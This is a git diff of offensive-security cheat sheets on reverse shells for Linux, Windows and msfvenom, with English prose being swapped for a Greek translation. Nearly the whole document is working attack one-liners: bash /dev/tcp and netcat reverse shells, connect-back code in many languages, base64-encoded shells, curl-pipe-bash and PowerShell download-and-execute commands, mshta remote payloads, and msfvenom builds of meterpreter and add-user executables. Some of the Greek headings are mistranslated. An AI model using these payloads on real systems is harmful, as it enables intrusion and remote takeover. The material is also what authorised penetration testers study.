https://reverse-shell.sh/1.1.1.1:3000 | bash bash -i >& /dev/tcp// 0>&1 @@ -22,11 +21,9 @@ exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; #after getting the previous shell to get the output to execute exec >&0 ``` +Μην ξεχάσετε να ελέγξετε με άλλες θήκες: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh και bash. -Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash. - -### Symbol safe shell - +### Συμβολική ασφαλής θήκη ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' @@ -35,74 +32,66 @@ bash -c 'bash -i >& /dev/tcp// 0>&1' #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null ``` +#### Εξήγηση του Shell -#### Shell explanation - -1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell. -2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**. -3. **`/dev/tcp//`**: This is a special file that **represents a TCP connection to the specified IP address and port**. - - By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine. -4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**. - -### Create in file and execute +1. **`bash -i`**: Αυτό το μέρος της εντολής ξεκινά ένα διαδραστικό (`-i`) Bash shell. +2. **`>&`**: Αυτό το μέρος της εντολής είναι μια συντομογραφία για **την ανακατεύθυνση τόσο της κανονικής εξόδου** (`stdout`) όσο και της **κανονικής σφάλματος** (`stderr`) στον **ίδιο προορισμό**. +3. **`/dev/tcp//`**: Αυτό είναι ένα ειδικό αρχείο που **αντιπροσωπεύει μια σύνδεση TCP στη συγκεκριμένη διεύθυνση IP και θύρα**. +- Με **την ανακατεύθυνση των ροών εξόδου και σφάλματος σε αυτό το αρχείο**, η εντολή στέλνει αποτελεσματικά την έξοδο της διαδραστικής συνεδρίας shell στη μηχανή του επιτιθέμενου. +4. **`0>&1`**: Αυτό το μέρος της εντολής **ανακατευθύνει την κανονική είσοδο (`stdin`) στον ίδιο προορισμό με την κανονική έξοδο (`stdout`)**. +### Δημιουργία σε αρχείο και εκτέλεση ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` - ## Forward Shell -When dealing with a **Remote Code Execution (RCE)** vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively. +Όταν ασχολείστε με μια **Remote Code Execution (RCE)** ευπάθεια σε μια εφαρμογή ιστού βασισμένη σε Linux, η επίτευξη ενός reverse shell μπορεί να εμποδιστεί από αμυντικά δίκτυα όπως οι κανόνες iptables ή περίπλοκοι μηχανισμοί φιλτραρίσματος πακέτων. Σε τέτοιες περιορισμένες συνθήκες, μια εναλλακτική προσέγγιση περιλαμβάνει τη δημιουργία ενός PTY (Pseudo Terminal) shell για να αλληλεπιδράσετε με το παραβιασμένο σύστημα πιο αποτελεσματικά. -A recommended tool for this purpose is [toboggan](https://github.com/n3rada/toboggan.git), which simplifies interaction with the target environment. - -To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named `nix.py` could be structured as follows: +Ένα προτεινόμενο εργαλείο για αυτό το σκοπό είναι το [toboggan](https://github.com/n3rada/toboggan.git), το οποίο απλοποιεί την αλληλεπίδραση με το περιβάλλον στόχο. +Για να χρησιμοποιήσετε το toboggan αποτελεσματικά, δημιουργήστε ένα Python module προσαρμοσμένο στο RCE πλαίσιο του συστήματος στόχου σας. Για παράδειγμα, ένα module με το όνομα `nix.py` θα μπορούσε να δομηθεί ως εξής: ```python3 import jwt import httpx def execute(command: str, timeout: float = None) -> str: - # Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution - token = jwt.encode( - {"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" - ) +# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution +token = jwt.encode( +{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" +) - response = httpx.get( - url="https://vulnerable.io:3200", - headers={"Authorization": f"Bearer {token}"}, - timeout=timeout, - # ||BURP|| - verify=False, - ) +response = httpx.get( +url="https://vulnerable.io:3200", +headers={"Authorization": f"Bearer {token}"}, +timeout=timeout, +# ||BURP|| +verify=False, +) - # Check if the request was successful - response.raise_for_status() +# Check if the request was successful +response.raise_for_status() - return response.text +return response.text ``` - -And then, you can run: - +Και στη συνέχεια, μπορείτε να εκτελέσετε: ```shell toboggan -m nix.py -i ``` +Για να εκμεταλλευτείτε άμεσα ένα διαδραστικό shell. Μπορείτε να προσθέσετε `-b` για την ενσωμάτωση του Burpsuite και να αφαιρέσετε το `-i` για μια πιο βασική rce wrapper. -To directly leverage an interractive shell. You can add `-b` for Burpsuite integration and remove the `-i` for a more basic rce wrapper. +Μια άλλη δυνατότητα είναι η χρήση της υλοποίησης forward shell του `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). -Another possibility consist using the `IppSec` forward shell implementation [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). +Απλά χρειάζεται να τροποποιήσετε: -You just need to modify: +- Το URL του ευάλωτου host +- Το πρόθεμα και το επίθημα του payload σας (αν υπάρχει) +- Τον τρόπο αποστολής του payload (headers; data; extra info?) -- The URL of the vulnerable host -- The prefix and suffix of your payload (if any) -- The way the payload is sent (headers? data? extra info?) - -Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay). +Στη συνέχεια, μπορείτε απλά να **στείλετε εντολές** ή ακόμα και **να χρησιμοποιήσετε την εντολή `upgrade`** για να αποκτήσετε ένα πλήρες PTY (σημειώστε ότι οι σωλήνες διαβάζονται και γράφονται με καθυστέρηση περίπου 1.3 δευτερολέπτων). ## Netcat - ```bash nc -e /bin/sh nc | /bin/sh #Blind @@ -110,42 +99,32 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp nc | /bin/bash | nc rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## gsocket -Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) - +Ελέγξτε το στο [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) ```bash bash -c "$(curl -fsSL gsocket.io/x)" ``` - -## Telnet - +## Τελνέτ ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f telnet | /bin/bash | telnet rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## Whois -**Attacker** - +**Επιτιθέμενος** ```bash while true; do nc -l ; done ``` +Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσετε το STDIN) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**Θύμα** ```bash export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` - -## Python - +## Πύθων ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' @@ -153,23 +132,17 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC #IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` - ## Perl - ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - -## Ruby - +## Ρούμπι ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## PHP - ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. @@ -181,51 +154,41 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' /dev/tcp/10.10.14.8/4444 0>&1'"); ?> ``` - -## Java - +## Τζάβα ```bash r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` - ## Ncat - ```bash victim> ncat --ssl -c "bash -i 2>&1" attacker> ncat -l --ssl ``` - -## Golang - +## Γκολάν ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` - ## Lua - ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" #Windows & Linux lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## NodeJS - ```javascript (function(){ - var net = require("net"), - cp = require("child_process"), - sh = cp.spawn("/bin/sh", []); - var client = new net.Socket(); - client.connect(8080, "10.17.26.64", function(){ - client.pipe(sh.stdin); - sh.stdout.pipe(client); - sh.stderr.pipe(client); - }); - return /a/; // Prevents the Node.js application form crashing +var net = require("net"), +cp = require("child_process"), +sh = cp.spawn("/bin/sh", []); +var client = new net.Socket(); +client.connect(8080, "10.17.26.64", function(){ +client.pipe(sh.stdin); +sh.stdout.pipe(client); +sh.stderr.pipe(client); +}); +return /a/; // Prevents the Node.js application form crashing })(); @@ -256,19 +219,15 @@ or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` - ## OpenSSL -The Attacker (Kali) - +Ο Επιτιθέμενος (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -The Victim - +Ο Θύμα ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -276,103 +235,84 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### Shell σύνδεσης ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` - -### Reverse shell - +### Αντίστροφη θήκη ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ## Awk - ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` - ## Finger -**Attacker** - +**Επιτιθέμενος** ```bash while true; do nc -l 79; done ``` +Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσετε το STDIN) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**Θύμα** ```bash export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done ``` - ## Gawk - ```bash #!/usr/bin/gawk -f BEGIN { - Port = 8080 - Prompt = "bkd> " +Port = 8080 +Prompt = "bkd> " - Service = "/inet/tcp/" Port "/0/0" - while (1) { - do { - printf Prompt |& Service - Service |& getline cmd - if (cmd) { - while ((cmd |& getline) > 0) - print $0 |& Service - close(cmd) - } - } while (cmd != "exit") - close(Service) - } +Service = "/inet/tcp/" Port "/0/0" +while (1) { +do { +printf Prompt |& Service +Service |& getline cmd +if (cmd) { +while ((cmd |& getline) > 0) +print $0 |& Service +close(cmd) +} +} while (cmd != "exit") +close(Service) +} } ``` - ## Xterm -This will try to connect to your system at port 6001: - +Αυτό θα προσπαθήσει να συνδεθεί στο σύστημά σας στη θύρα 6001: ```bash xterm -display 10.0.0.1:1 ``` - -To catch the reverse shell you can use (which will listen in port 6001): - +Για να πιάσετε το reverse shell μπορείτε να χρησιμοποιήσετε (το οποίο θα ακούει στη θύρα 6001): ```bash # Authorize host xhost +targetip # Listen Xnest :1 ``` - ## Groovy -by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy - +από [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ΣΗΜΕΙΩΣΗ: Η αντίστροφη θηλή Java λειτουργεί επίσης για το Groovy ```bash String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` - -## References +## Αναφορές - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell) diff --git a/src/generic-hacking/reverse-shells/msfvenom.md b/src/generic-hacking/reverse-shells/msfvenom.md index 49444f77b..3905526dd 100644 --- a/src/generic-hacking/reverse-shells/msfvenom.md +++ b/src/generic-hacking/reverse-shells/msfvenom.md @@ -2,38 +2,20 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - --- -## Basic msfvenom +## Βασικό msfvenom `msfvenom -p -e -f -i LHOST=` -One can also use the `-a` to specify the architecture or the `--platform` - -## Listing +Μπορεί κανείς επίσης να χρησιμοποιήσει το `-a` για να καθορίσει την αρχιτεκτονική ή το `--platform` +## Λίστα ```bash msfvenom -l payloads #Payloads msfvenom -l encoders #Encoders ``` - -## Common params when creating a shellcode - +## Κοινές παράμετροι κατά τη δημιουργία ενός shellcode ```bash -b "\x00\x0a\x0d" -f c @@ -41,162 +23,106 @@ msfvenom -l encoders #Encoders EXITFUNC=thread PrependSetuid=True #Use this to create a shellcode that will execute something with SUID ``` - ## **Windows** -### **Reverse Shell** - +### **Αντίστροφη Σκηνή** ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe ``` - ### Bind Shell - ```bash msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe ``` - -### Create User - +### Δημιουργία Χρήστη ```bash msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe ``` - ### CMD Shell - ```bash msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe ``` - -### **Execute Command** - +### **Εκτέλεση Εντολής** ```bash msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe ``` - -### Encoder - +### Κωδικοποιητής ```bash msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe ``` - -### Embedded inside executable - +### Ενσωματωμένο μέσα σε εκτελέσιμο ```bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe ``` - ## Linux Payloads -### Reverse Shell - +### Αντίστροφη Σκηνή ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf ``` - ### Bind Shell - ```bash msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf ``` - ### SunOS (Solaris) - ```bash msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf ``` - ## **MAC Payloads** ### **Reverse Shell:** - ```bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho ``` - ### **Bind Shell** - ```bash msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho ``` - ## **Web Based Payloads** ### **PHP** #### Reverse shel**l** - ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php ``` - ### ASP/x -#### Reverse shell - +#### Αντίστροφη θήκη ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx ``` - ### JSP -#### Reverse shell - +#### Αντίστροφη θήκη ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp ``` +### ΠΟΛΕΜΟΣ -### WAR - -#### Reverse Shell - +#### Αντίστροφη Σκηνή ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war ``` - ### NodeJS - ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) ``` - -## **Script Language payloads** +## **Γλώσσες Σκριπτών payloads** ### **Perl** - ```bash msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl ``` - ### **Python** - ```bash msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py ``` - ### **Bash** - ```bash msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh ``` - -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 4bf4f6792..6e0a935db 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -4,37 +4,30 @@ ## Lolbas -The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.\ -Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be (ab)used to perform some kind of unexpected actions like **execute arbitrary code.** +Η σελίδα [lolbas-project.github.io](https://lolbas-project.github.io/) είναι για τα Windows όπως [https://gtfobins.github.io/](https://gtfobins.github.io/) είναι για το linux.\ +Προφανώς, **δεν υπάρχουν SUID αρχεία ή δικαιώματα sudo στα Windows**, αλλά είναι χρήσιμο να γνωρίζουμε **πώς** ορισμένα **binaries** μπορούν να (κατα)χρησιμοποιηθούν για να εκτελούν κάποιες απροσδόκητες ενέργειες όπως **η εκτέλεση αυθαίρετου κώδικα.** ## NC - ```bash nc.exe -e cmd.exe ``` - ## NCAT -victim - +θύμα ``` ncat.exe -e "cmd.exe /c (cmd.exe 2>&1)" #Encryption to bypass firewall ncat.exe --ssl -e "cmd.exe /c (cmd.exe 2>&1)" ``` - -attacker - +επιτιθέμενος ``` ncat -l #Encryption to bypass firewall ncat -l --ssl ``` - ## SBD -**[sbd](https://www.kali.org/tools/sbd/) is a portable and secure Netcat alternative**. It works on Unix-like systems and Win32. With features like strong encryption, program execution, customizable source ports, and continuous reconnection, sbd provides a versatile solution for TCP/IP communication. For Windows users, the sbd.exe version from the Kali Linux distribution can be used as a reliable replacement for Netcat. - +**[sbd](https://www.kali.org/tools/sbd/) είναι μια φορητή και ασφαλής εναλλακτική του Netcat**. Λειτουργεί σε συστήματα τύπου Unix και Win32. Με χαρακτηριστικά όπως ισχυρή κρυπτογράφηση, εκτέλεση προγραμμάτων, προσαρμόσιμες θύρες προέλευσης και συνεχόμενη επανασύνδεση, το sbd παρέχει μια ευέλικτη λύση για επικοινωνία TCP/IP. Για τους χρήστες Windows, η έκδοση sbd.exe από τη διανομή Kali Linux μπορεί να χρησιμοποιηθεί ως αξιόπιστη αντικατάσταση του Netcat. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -46,46 +39,34 @@ sbd 10.10.10.10 4444 id uid=0(root) gid=0(root) groups=0(root) ``` - -## Python - +## Πυθών ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` - ## Perl - ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - -## Ruby - +## Ρούμπι ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## Lua - ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## OpenSSH -Attacker (Kali) - +Επιτιθέμενος (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -Victim - +Θύμα ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -93,38 +74,30 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - -## Powershell - +## PowerShell ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` - -Process performing network call: **powershell.exe**\ -Payload written on disk: **NO** (_at least nowhere I could find using procmon !_) - +Διαδικασία που εκτελεί κλήση δικτύου: **powershell.exe**\ +Payload που έχει γραφτεί στον δίσκο: **ΟΧΙ** (_τουλάχιστον πουθενά δεν μπόρεσα να βρω χρησιμοποιώντας το procmon !_ ) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` +Διαδικασία που εκτελεί κλήση δικτύου: **svchost.exe**\ +Payload που γράφτηκε στον δίσκο: **WebDAV client local cache** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**One liner:** - +**Μία γραμμή:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` - -**Get more info about different Powershell Shells at the end of this document** +**Αποκτήστε περισσότερες πληροφορίες σχετικά με διάφορα Powershell Shells στο τέλος αυτού του εγγράφου** ## Mshta -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Από εδώ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` @@ -136,26 +109,22 @@ mshta http://webserver/payload.hta ```bash mshta \\webdavserver\folder\payload.hta ``` - -#### **Example of hta-psh 